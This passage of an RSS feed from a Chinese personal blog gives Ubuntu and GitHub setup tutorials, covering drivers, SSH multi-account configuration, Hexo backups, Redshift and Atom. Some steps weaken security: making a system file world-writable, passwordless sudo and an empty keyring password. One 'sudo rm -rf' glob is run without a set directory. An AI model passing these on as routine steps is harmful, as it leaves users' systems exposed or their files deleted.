</content:encoded><category>GitHub</category></item><item><title>解决 Ubuntu 上搜狗拼音候选字的乱码错误</title><link>https://www.sulinehk.com/post/solve-sogoupinyin-error-on-ubuntu/</link><guid isPermaLink="true">https://www.sulinehk.com/post/solve-sogoupinyin-error-on-ubuntu/</guid><description>介绍了在 Ubuntu 上使用搜狗输入法时发生候选字乱码错误的两个解决方法。</description><pubDate>Tue, 13 Mar 2018 12:00:23 GMT</pubDate><content:encoded>&lt;p&gt;在 Ubuntu 上使用搜狗拼音输入法，有时候会出现了候选词都变成不知名编码的错误。&lt;/p&gt;
&lt;p&gt;下面列出两个在网上搜索可用的解决方法。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;方法一：修改 fctix 有关配置&lt;/h2&gt;
&lt;p&gt;打开 fctix 配置界面。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fcitx-config-gtk3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;在出现的界面里，最下面的工具栏里共有 6 个小图标，打开第 5 个。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;把键盘布局（keyboard layout）修改为汉语（chinese），然后注销重新登录即可。&lt;/p&gt;
&lt;h2&gt;方法二：删除一些有关文件&lt;/h2&gt;
&lt;p&gt;删除 &lt;code&gt;~/.config/&lt;/code&gt; 下的几个关于搜狗拼音输入法的文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo rm -rf SogouPY* sogou*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;删除后注销重新登录即可。&lt;/p&gt;
&lt;p&gt;这个方法似乎并不能完全解决问题。&lt;/p&gt;
</content:encoded><category>Ubuntu</category></item><item><title>GitHub 多账户设置</title><link>https://www.sulinehk.com/post/github-multiple-account-setttings/</link><guid isPermaLink="true">https://www.sulinehk.com/post/github-multiple-account-setttings/</guid><description>介绍了在拥有多个 GitHub 账号的时候如何通过配置 SSH 文件来让各个账户正常工作且不发生冲突。</description><pubDate>Tue, 13 Mar 2018 03:35:41 GMT</pubDate><content:encoded>&lt;p&gt;我的两个 GitHub 账户分别为主账户（参与开源项目和自己的代码）和副账户（更新 Hexo 博客）。&lt;/p&gt;
&lt;p&gt;本文会介绍在拥有多个 GitHub 账号的时候，如何通过配置 SSH 文件来让各个账户正常工作且不发生冲突。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;生成 SSH&lt;/h2&gt;
&lt;p&gt;由于不同的 GitHub 不能使用同一个 SSH 公钥，所以要生成两个不同的 SSH 分别对应两个主账户和副账户。&lt;/p&gt;
&lt;p&gt;Ubuntu 生成 SSH 的命令如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh-keygen -t rsa -f ~/.ssh/id_rsa_blog -C &quot;blogemail@gmail.com&quot;
ssh-keygen -t rsa -f ~/.ssh/id_rsa -C &quot;mainemail@gmail.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;-f&lt;/code&gt; 选项指定生成钥匙对的文件名&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;正确操作后目录 &lt;code&gt;.ssh/&lt;/code&gt; 下应该是这样的：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;SSH 配置&lt;/h2&gt;
&lt;p&gt;编辑 &lt;code&gt;~/.ssh/config&lt;/code&gt; SSH 配置文件，没有该文件则新建。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# mainemail@gmail.com
Host github-main.com
HostName github.com
User git
IdentityFile ~/.ssh/id_rsa

# blogemail@gmail.com
Host github-blog.com
HostName github.com
User git
IdentityFile ~/.ssh/id_rsa_blog
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，以后使用 main 账户添加远程仓库需要这样添加：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git remote add origin git@github-main.com:username/demo.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;类似，使用 blog 账户时是这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git remote add origin git@github-blog.com:username/demo.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而非原来的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git remote add origin git@github.com:username/demo.git
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;测试是否配置成功&lt;/h2&gt;
&lt;p&gt;部署相应的 SSH 公钥到 GitHub 后，尝试在相应的本地仓库 &lt;code&gt;git push&lt;/code&gt; 几个文件测试。&lt;/p&gt;
</content:encoded><category>GitHub</category></item><item><title>在 Ubuntu 上安装 Nvidia 专有驱动</title><link>https://www.sulinehk.com/post/install-nvidia-proprietary-driver-on-ubuntu/</link><guid isPermaLink="true">https://www.sulinehk.com/post/install-nvidia-proprietary-driver-on-ubuntu/</guid><description>介绍了如何通过在 Ubuntu 上禁用开源驱动，安装 Nvidia 私有驱动和 prime 双显卡切换器来解决双显卡笔记本电脑的黑屏和过热问题。</description><pubDate>Fri, 09 Mar 2018 03:44:23 GMT</pubDate><content:encoded>&lt;p&gt;对比各类操作系统对显卡驱动程序的支持，Windows 使用广泛并且作为最多游戏玩家的平台，驱动厂商自然会优先适配。&lt;/p&gt;
&lt;p&gt;macOS 作为苹果公司专用的操作系统，驱动厂商也会开发定制化的驱动程序，可以更好地利用硬件。&lt;/p&gt;
&lt;p&gt;至于主要面对服务器领域的 Linux，对显卡性能的诉求自然没另外两种操作系统强烈。所以就造成了有些使用 Linux 作为桌面操作系统的用户出现了诸多关于显卡驱动或别的硬件驱动的问题。&lt;/p&gt;
&lt;p&gt;在如今笔记本电脑很大一部分是双显卡设计的时代，这种设计在 Linux 上在并没有被驱动厂商完美的解决。开源驱动有着这样或那样的问题。从而出现了诸多例如黑屏、卡死等问题。还有双显卡同时运行时，发热过量的问题。&lt;/p&gt;
&lt;p&gt;值得庆幸的是，这样的问题可以通过禁用开源驱动，安装 Nvidia 专有驱动并且安装双显卡切换器来缓解。虽然不能完美解决，但也聊胜于无。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;禁用开源驱动 nouveau&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo chmod 666 /etc/modprobe.d/blacklist.conf  # 改文件权限
sudo vim /etc/modprobe.d/blacklist.conf   # 修改文件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在文件最后新添加一行 &lt;code&gt;blacklist nouveau&lt;/code&gt; 保存关闭。&lt;/p&gt;
&lt;h2&gt;安装双显卡切换器 prime-indicator&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:nilarimogard/webupd8    # 添加 PPA 更新源
sudo apt-get update    # 更新源列表
sudo apt-get install prime-indicator    # 安装 prime-indicator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装成功后可以通过 &lt;code&gt;nvidia-settings&lt;/code&gt; 打开图形化界面在 &lt;code&gt;PRIME Profiles&lt;/code&gt; 选项卡进行切换：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;或者，通过如下命令查看命令行选项然后直接进行切换：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;prime-select
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装 Ubuntu 推荐的驱动版本&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;查看自己的 &lt;code&gt;Ubuntu 系统设置 -&amp;gt; 软件和更新 -&amp;gt; 附加驱动&lt;/code&gt;。记录下 Ubuntu 推荐你安装的驱动版本，我这里是 &lt;code&gt;nvidia-390&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用快捷键 &lt;code&gt;Ctrl+Alt+F1&lt;/code&gt; 进入文字命令界面，输入如下命令。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo service lightdm stop    # 关闭图形系统
sudo apt-get install nvidia-390    # 通过官方源安装驱动，我这里是 390
sudo service lightdm start    # 启动图形系统
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;验证是否安装成功&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nvidia-settings # 打开 Nvidia 设置
nvidia-smi # 显示驱动信息
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入这两个命令，能正常看到信息就说明安装成功了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><category>Ubuntu</category></item><item><title>Hexo 博客的备份和恢复</title><link>https://www.sulinehk.com/post/hexo-backup-reset/</link><guid isPermaLink="true">https://www.sulinehk.com/post/hexo-backup-reset/</guid><description>介绍了 Hexo 博客备份和恢复的详细步骤。</description><pubDate>Sat, 03 Feb 2018 14:08:50 GMT</pubDate><content:encoded>&lt;p&gt;在使用 Hexo 和 GitHub 组合进行博客写作时，有些时候会希望能够多平台工作或者备份数据。&lt;/p&gt;
&lt;p&gt;我们可以通过在 GitHub 设置两个分支，将 Hexo 生成的静态文件和 Hexo 源文件区分开来，这样就可以实现多平台工作或者备份数据。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;分支设置&lt;/h2&gt;
&lt;p&gt;建立两个分支，分别是 &lt;code&gt;master&lt;/code&gt; 分支和 &lt;code&gt;hexo&lt;/code&gt; 分支。并且在 GitHub 上将 hexo 分支设置为默认分支。&lt;/p&gt;
&lt;p&gt;两个分支的功能分别如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;master&lt;/code&gt; 分支用于保存 Hexo 生成的静态文件。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hexo&lt;/code&gt; 分支用于保存 Hexo 源文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;建立这两个分支后，需要修改 &lt;code&gt;_config.yml&lt;/code&gt; 里面的 &lt;code&gt;deploy&lt;/code&gt; 选项来正常运行。这里直接给出我的相关设置代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;deploy:
- type: git
  repo:
    github: git@github.com:sulinehkblog/sulinehkblog.github.io.git
  branch: master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注意：yaml 格式要求相当严格。例如冒号后需要紧接一个空格，否则会出错&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;安全和便利设置&lt;/h2&gt;
&lt;p&gt;在安全方面，在将 Hexo 本身上传到 GitHub 上时，默认会将所有的文件一起上传，包括类似 Google Analytics、Google Adsense 和百度统计有关的密码。这些密码通常保存在 Hexo 目录下的 &lt;code&gt;_config.yml&lt;/code&gt; 或主题目录下的同名文件中。&lt;/p&gt;
&lt;p&gt;在便利方面，上传 &lt;code&gt;node_modules&lt;/code&gt; 目录下的诸多插件文件不太合适。因为这个目录下的文件只要有 &lt;code&gt;package.json&lt;/code&gt; 文件就可以通过在当前目录执行 &lt;code&gt;npm install&lt;/code&gt; 进行恢复。&lt;/p&gt;
&lt;p&gt;上述问题都可以通过修改 &lt;code&gt;.gitignore&lt;/code&gt; 文件，忽略上传某些文件来解决。&lt;code&gt;.gitignore&lt;/code&gt; 文件的书写方式在这里可以学习更多&lt;a href=&quot;https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000/0013758404317281e54b6f5375640abbb11e67be4cd49e0000&quot;&gt;忽略特殊文件 - 廖雪峰的官方网站&lt;/a&gt;，这里也给出我的文件内容和相关注释。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 静态文件
public/
# node 插件文件
node_modules/
# json 文件
/package-lock.json
/db.json
# 包含密码的配置文件
/_config.yml
/themes/next/_config.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还需要把 &lt;code&gt;/_config.yml&lt;/code&gt; 和 &lt;code&gt;/themes/next/_config.yml&lt;/code&gt; 两个文件加密保存起来才能够达到完全备份的目的。使用 &lt;code&gt;zip&lt;/code&gt; 加密压缩是个不错的选择。&lt;/p&gt;
&lt;h2&gt;日常操作的改变&lt;/h2&gt;
&lt;p&gt;将 Hexo 生成的静态文件和 Hexo 源文件区分开后，日常的操作会多出一些步骤。&lt;/p&gt;
&lt;p&gt;下面通过展示新添加一个 post 的全部操作来说明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hexo new post &apos;testpost&apos; # 或者直接在 source/_posts/ 目录下新建 Markdown 文档
git status # 查看 git 仓库的变化
git add . # 添加全部修改到寄存区
git commit -m &apos;changed&apos; # 提交
git push origin hexo # 推送到远程仓库的 hexo 分支
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上只是完成了 Hexo 源文件的备份，下面跟正常的操作类似，将静态文件部署：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hexo clean # 清理缓存
hexo g # 生成静态文件
hexo d # 部署（跟 _config.yml 文件中的 deploy 选项相关）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此就完成了新建一个 post 的操作。&lt;/p&gt;
&lt;p&gt;你可以编写一个 &lt;code&gt;Shell&lt;/code&gt; 脚本来简化这个过程。&lt;/p&gt;
&lt;h2&gt;Hexo 博客恢复步骤&lt;/h2&gt;
&lt;p&gt;本地的 Hexo 文件因为某些原因丢失后，经过上面的备份处理，就可以很简单的进行恢复。下面的操作假设你已经安装好了 &lt;code&gt;git&lt;/code&gt;、&lt;code&gt;nodejs&lt;/code&gt;、&lt;code&gt;npm&lt;/code&gt;、&lt;code&gt;hexo&lt;/code&gt; 等工具。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone git@github.com:example/example.github.io.git hexo # 直接克隆远程仓库
cd hexo # 进入克隆后的目录
unzip _config.zip # 解压前面加密保存好的两个配置文件并移动到原来的位置
npm install # 利用 package.json 文件安装相关插件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上便完成了恢复的工作。&lt;/p&gt;
</content:encoded><category>Website</category></item><item><title>在 Ubuntu 上设置 Redshift 减少蓝光</title><link>https://www.sulinehk.com/post/set-redshift-to-reduce-blue-light-on-ubuntu/</link><guid isPermaLink="true">https://www.sulinehk.com/post/set-redshift-to-reduce-blue-light-on-ubuntu/</guid><description>介绍了如何在 Ubuntu 16.04 LTS 系统上安装并设置 Redshift 来达到减少蓝光、保护眼睛的目的。</description><pubDate>Thu, 01 Feb 2018 21:39:56 GMT</pubDate><content:encoded>&lt;p&gt;Redshift 这个软件可以根据经纬度信息自动判断当前所在位置，然后在白天和夜晚使用不同的色温来减少蓝光保护眼睛。&lt;/p&gt;
&lt;p&gt;在 Ubuntu 上，Ubuntu 17.10 版本已经有了类似的功能，但 Ubuntu 16.04 LTS 版及旧版本还未集成。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;p&gt;这个软件在官方源就有，直接下载安装。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install gtk-redshift redshift python-appindicator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装完成之后，输入 &lt;code&gt;redshift-gtk&lt;/code&gt; 或在 Unity 里面搜索 &lt;code&gt;redshift&lt;/code&gt; 打开。&lt;/p&gt;
&lt;p&gt;打开后会在右上角出现图标，右键选择 &lt;code&gt;Autostart&lt;/code&gt;，也就是自动启动。&lt;/p&gt;
&lt;h2&gt;设置&lt;/h2&gt;
&lt;h3&gt;获取经纬度信息&lt;/h3&gt;
&lt;p&gt;打开 &lt;a href=&quot;https://api.map.baidu.com/lbsapi/getpoint/&quot;&gt;百度地图拾取坐标系统&lt;/a&gt;，选择自己所在的地区得到经纬度信息。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;修改配置文件&lt;/h3&gt;
&lt;p&gt;在主目录下新建一个文件并编辑 &lt;code&gt;.config/redshift.conf&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;粘贴下面内容。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; Global settings for redshift
[redshift]
; Set the day and night screen temperatures
temp-day=5500
temp-night=4500

; Enable/Disable a smooth transition between day and night
; 0 will cause a direct change from day to night screen temperature.
; 1 will gradually increase or decrease the screen temperature.
transition=1

; Set the screen brightness. Default is 1.0.
;brightness=0.9
; It is also possible to use different settings for day and night
; since version 1.8.
;brightness-day=0.7
;brightness-night=0.4
; Set the screen gamma (for all colors, or each color channel
; individually)
gamma=0.8
;gamma=0.8:0.7:0.8
; This can also be set individually for day and night since
; version 1.10.
;gamma-day=0.8:0.7:0.8
;gamma-night=0.6

; Set the location-provider: &apos;geoclue&apos;, &apos;geoclue2&apos;, &apos;manual&apos;
; type &apos;redshift -l list&apos; to see possible values.
; The location provider settings are in a different section.
location-provider=manual

; Set the adjustment-method: &apos;randr&apos;, &apos;vidmode&apos;
; type &apos;redshift -m list&apos; to see all possible values.
; &apos;randr&apos; is the preferred method, &apos;vidmode&apos; is an older API.
; but works in some cases when &apos;randr&apos; does not.
; The adjustment method settings are in a different section.
adjustment-method=randr

; Configuration of the location-provider:
; type &apos;redshift -l PROVIDER:help&apos; to see the settings.
; ex: &apos;redshift -l manual:help&apos;
; Keep in mind that longitudes west of Greenwich (e.g. the Americas)
; are negative numbers.
[manual]
lat=22.65
lon=110.17

; Configuration of the adjustment-method
; type &apos;redshift -m METHOD:help&apos; to see the settings.
; ex: &apos;redshift -m randr:help&apos;
; In this example, randr is configured to adjust screen 1.
; Note that the numbering starts from 0, so this is actually the
; second screen. If this option is not specified, Redshift will try
; to adjust _all_ screens.
; [randr]
; screen=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中比较重要的参数有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;temp-day&lt;/code&gt; &lt;code&gt;temp-night&lt;/code&gt; 这两个参数分别是白天色温和晚上色温。可以自己慢慢找到适合自己的大小。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lat&lt;/code&gt; &lt;code&gt;lon&lt;/code&gt; 这两个参数就是经纬度信息，把刚才提取到的填下去。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;修改参数后没有变化的解决办法&lt;/h2&gt;
&lt;p&gt;分别执行 &lt;code&gt;redshift-gtk -c .config/redshift.conf&lt;/code&gt; 和 &lt;code&gt;redshift -c .config/redshift.conf&lt;/code&gt; 这两个命令来指定配置文件。
在右上角的图标右键后，可以点击 &lt;code&gt;Info&lt;/code&gt; 查看当前色温及经纬度信息。&lt;/p&gt;
</content:encoded><category>Ubuntu</category></item><item><title>Ubuntu 安装后的常用系统配置</title><link>https://www.sulinehk.com/post/common-system-configuration-after-ubuntu-installation/</link><guid isPermaLink="true">https://www.sulinehk.com/post/common-system-configuration-after-ubuntu-installation/</guid><description>介绍了安装 Ubuntu 系统后一些常用的配置。</description><pubDate>Thu, 01 Feb 2018 17:01:15 GMT</pubDate><content:encoded>&lt;p&gt;本文介绍了安装 Ubuntu 系统后一些常用的配置。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;权限相关&lt;/h2&gt;
&lt;h3&gt;启用 root 并修改密码&lt;/h3&gt;
&lt;p&gt;新安装的 Ubuntu 默认时没有 root 账户的，需要手动使用 &lt;code&gt;sudo&lt;/code&gt; 命令修改 root 密码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo passwd root
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;取消 sudo 密码&lt;/h3&gt;
&lt;p&gt;Ubuntu 下使用 &lt;code&gt;sudo&lt;/code&gt; 命令默认是需要密码的，可以使用下面的命令并修改配置取消。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo visudo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到 &lt;code&gt;%sudo ALL=(ALL:ALL) :ALL&lt;/code&gt; 改成 &lt;code&gt;%sudo ALL=(ALL:ALL) NOPASSWD:ALL&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;更换 Ubuntu 镜像源&lt;/h2&gt;
&lt;p&gt;apt-get 用默认的源速度不是很快，可以更换成国内源来提升速度，国内源有很多，这里使用的是 &lt;a href=&quot;https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/&quot;&gt;清华大学Ubuntu镜像源&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;/etc/apt/sources.list&lt;/code&gt; 备份后替换。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;## 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial main restricted universe multiverse
## deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-updates main restricted universe multiverse
## deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse
## deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-security main restricted universe multiverse
## deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-security main restricted universe multiverse

## 预发布软件源，不建议启用
## deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-proposed main restricted universe multiverse
## deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial-proposed main restricted universe multiverse
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;开机自动启动小键盘&lt;/h2&gt;
&lt;p&gt;Ubuntu 默认开机是不打开小键盘的，每次重启后使用小键盘是都要开启，是有点繁琐。&lt;/p&gt;
&lt;p&gt;先安装 numlockx 这个软件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install numlockx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后面有两种方法，你可以依次尝试。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;编辑 &lt;code&gt;/usr/share/lightdm/lightdm.conf.d/50-unity-greeter.conf&lt;/code&gt; 这个文件，在最后一行添加 &lt;code&gt;greeter-setup-script=/usr/bin/numlockx on&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;编辑 &lt;code&gt;/etc/rc.local&lt;/code&gt; 在最后一行 &lt;code&gt;exit 0&lt;/code&gt; 前写入如下代码：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;if [-x /usr/bin/numlockx]; then
numlockx on
fi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重新启动后小键盘就会自动开启。&lt;/p&gt;
&lt;h2&gt;Chrome 浏览器取消密码环&lt;/h2&gt;
&lt;p&gt;在 Ubuntu 安装了 Chrome 后，每次重启启动 Chrome 时都要输入一次密码环。为了方便，可以取消掉这个密码环。&lt;/p&gt;
&lt;p&gt;在终端输入 &lt;code&gt;seahorse&lt;/code&gt; 在弹出的窗口中选中&lt;strong&gt;登录&lt;/strong&gt;，右键&lt;strong&gt;更改密码&lt;/strong&gt;，输入旧密码后连按两个回车把密码置为空。&lt;/p&gt;
&lt;h2&gt;修改 grub 引导等待时间&lt;/h2&gt;
&lt;p&gt;grub 的配置文件是 &lt;code&gt;/boot/grub/grub.cfg&lt;/code&gt;，但这个文件是由 &lt;code&gt;/etc/default/grub&lt;/code&gt; 的配置生成的，所以修改这个文件就好。
打开文件之后，将 &lt;code&gt;GRUB_TIMEOUT=0&lt;/code&gt; 改成 &lt;code&gt;GRUB_TIMEOUT=5&lt;/code&gt;，这里的 5 即为等待 5秒的意思。&lt;/p&gt;
&lt;p&gt;更新设置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo update-grub
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;禁止开机后的系统错误弹窗&lt;/h2&gt;
&lt;p&gt;Ubuntu 中只要 &lt;code&gt;/var/crash/&lt;/code&gt; 目录下有文件存在，会导致每次开机后都会弹窗提示&lt;strong&gt;检查到系统程序错误&lt;/strong&gt;。如果删除该目录下的文件，别的文件生成时问题又会出现，可以编辑 &lt;code&gt;/etc/default/apport&lt;/code&gt;，并将其中的 &lt;code&gt;enabled&lt;/code&gt; 属性改成 &lt;code&gt;0&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;更正系统时间（双系统）&lt;/h2&gt;
&lt;p&gt;双系统会导致时间显示不正确，更正命令如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo timedatectl set-local-rtc 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;将常用中文目录改为英文&lt;/h2&gt;
&lt;p&gt;安装 Ubuntu 的时候语言选择为中文时，生成的用户目录也变成了中文，不利于命令行的操作。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export LANG=en_US
xdg-user-dirs-gtk-update
export LANG=zh_CN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在弹出的窗口中将文件夹改成英文，下次启动选择不改成中文并不再提示即可。&lt;/p&gt;
&lt;h2&gt;笔记本触摸板设置&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;打开：&lt;code&gt;sudo modprobe psmouse&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;关闭：&lt;code&gt;sudo modprobe -r psmouse&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>Ubuntu</category></item><item><title>在 Ubuntu 上安装 Atom 并配置插件</title><link>https://www.sulinehk.com/post/install-atom-on-ubuntu/</link><guid isPermaLink="true">https://www.sulinehk.com/post/install-atom-on-ubuntu/</guid><description>介绍了 Atom 编辑器在 Ubuntu 上的安装和卸载方法、缩进设置。并通过设置淘宝镜像加快速度。还推荐和介绍了几款常用的 Atom 插件和主题。</description><pubDate>Thu, 01 Feb 2018 10:57:03 GMT</pubDate><content:encoded>&lt;p&gt;Atom 是 GitHub 专门为程序员推出的一个跨平台文本编辑器。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Ubuntu 上的安装和卸载&lt;/h2&gt;
&lt;h3&gt;安装&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:webupd8team/atom
sudo apt update
sudo apt install atom
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者直接到 &lt;a href=&quot;https://atom.io/&quot;&gt;Atom 官网&lt;/a&gt; 下载 &lt;code&gt;.deb&lt;/code&gt; 文件，用这个命令安装：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dpkg -i atom.deb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果出现依赖问题，使用命令修复：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install -f
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;卸载&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo apt remove atom
sudo add-apt-repository --remove ppa:webupd8team/atom
sudo apt autoremove
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;设置淘宝镜像&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;apm config set registry https://registry.npm.taobao.org
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;编辑器设置（缩进）&lt;/h2&gt;
&lt;p&gt;菜单栏: &lt;code&gt;Edit-&amp;gt;Preference&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;然后点击 &lt;code&gt;Editor&lt;/code&gt; 选项：
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;关闭 &lt;code&gt;Atomic Soft Tabs&lt;/code&gt;：&lt;/li&gt;
&lt;li&gt;打开 &lt;code&gt;Soft Tabs&lt;/code&gt;：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Tab Length&lt;/code&gt; 设为 &lt;code&gt;4&lt;/code&gt;：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Tab Type&lt;/code&gt; 设为 &lt;code&gt;soft&lt;/code&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;插件&lt;/h2&gt;
&lt;h3&gt;插件安装方法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Edit-&amp;gt;Preference-&amp;gt;Install&lt;/code&gt; 输入要下载的插件：&lt;/li&gt;
&lt;li&gt;或者命令行输入 &lt;code&gt;apm install&lt;/code&gt; 加上插件名称。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;常用插件推荐和介绍&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vim-mode-plus&lt;/code&gt; 和 &lt;code&gt;ex-mode&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Atom 下的 Vim 实现方案，两个需要配套使用。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;platformio-ide-terminal&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;默认快捷键 &lt;code&gt;Ctrl+Shift+t&lt;/code&gt; 或 &lt;code&gt;cmd+Shift+t&lt;/code&gt; 在下面打开终端窗口。
或者直接点击下面的小加号新建终端窗口。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;simplified-chinese-menu&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Atom 的中文包，大多数文本都实现了汉化。但是，本身机器配置不高的话会先显示英文再到中文。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;minimap&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
